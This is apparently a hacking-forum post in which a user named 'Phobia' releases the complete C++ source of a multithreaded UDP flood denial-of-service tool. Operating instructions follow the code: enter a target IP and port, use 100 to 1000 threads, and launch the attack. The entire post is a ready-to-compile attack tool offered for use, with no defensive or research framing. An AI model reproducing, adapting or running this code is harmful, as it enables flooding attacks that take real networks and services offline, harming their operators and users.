ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
C/C++

SimpleDoS Tool (SOURCE CODE) By Phobia

Submitted by Phobia at Yesterday, 11:58 PM


SimpleDoS Tool (SOURCE CODE) By Phobia
145 Views
#1
Quote:Releasing this bc I’m cool like that

#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include <chrono>
#include <cstring>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

class SimpleDoS {
private:
    std::string target;
    int port;
    int threads;
    bool running;

    void udp_flood() {
        int sock;
        struct sockaddr_in server;
        char buffer[1024] = "DoS_PACKET"; // Simple payload

        // Create UDP socket
        if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
            std::cerr << "Socket creation failed" << std::endl;
            return;
        }

        // Setup server address
        server.sin_family = AF_INET;
        server.sin_port = htons(port);
        inet_pton(AF_INET, target.c_str(), &server.sin_addr);

        // Send packets continuously
        while (running) {
            sendto(sock, buffer, sizeof(buffer), 0, 
                   (struct sockaddr*)&server, sizeof(server));
        }

        close(sock);
    }

public:
    SimpleDoS(std::string t, int p, int th) 
        : target(t), port(p), threads(th), running(false) {}

    void start() {
        running = true;
        std::vector<std::thread> thread_pool;

        // Create attack threads
        for (int i = 0; i < threads; ++i) {
            thread_pool.emplace_back(&SimpleDoS::udp_flood, this);
        }

        std::cout << "Attack started. Press Enter to stop..." << std::endl;
        std::cin.get();

        running = false;

        // Wait for all threads to finish
        for (auto& th : thread_pool) {
            if (th.joinable()) {
                th.join();
            }
        }
    }
};

int main() {
    std::cout << "=== Simple UDP DoS Tool ===" << std::endl;
    
    std::string target;
    int port, threads;

    std::cout << "Enter target IP: ";
    std::cin >> target;

    std::cout << "Enter target port: ";
    std::cin >> port;

    std::cout << "Enter number of threads: ";
    std::cin >> threads;

    // Clear input buffer
    std::cin.ignore();

    SimpleDoS tool(target, port, threads);
    tool.start();

    std::cout << "Attack stopped." << std::endl;
    return 0;
}
Compile the code
Run the executable
Enter target IP address
Enter target port
Enter number of threads (100-1000 recommended)
Press Enter to start the attack
Press Enter again to stop
0
Reply



Users browsing this thread: Phobia, 2 Guest(s)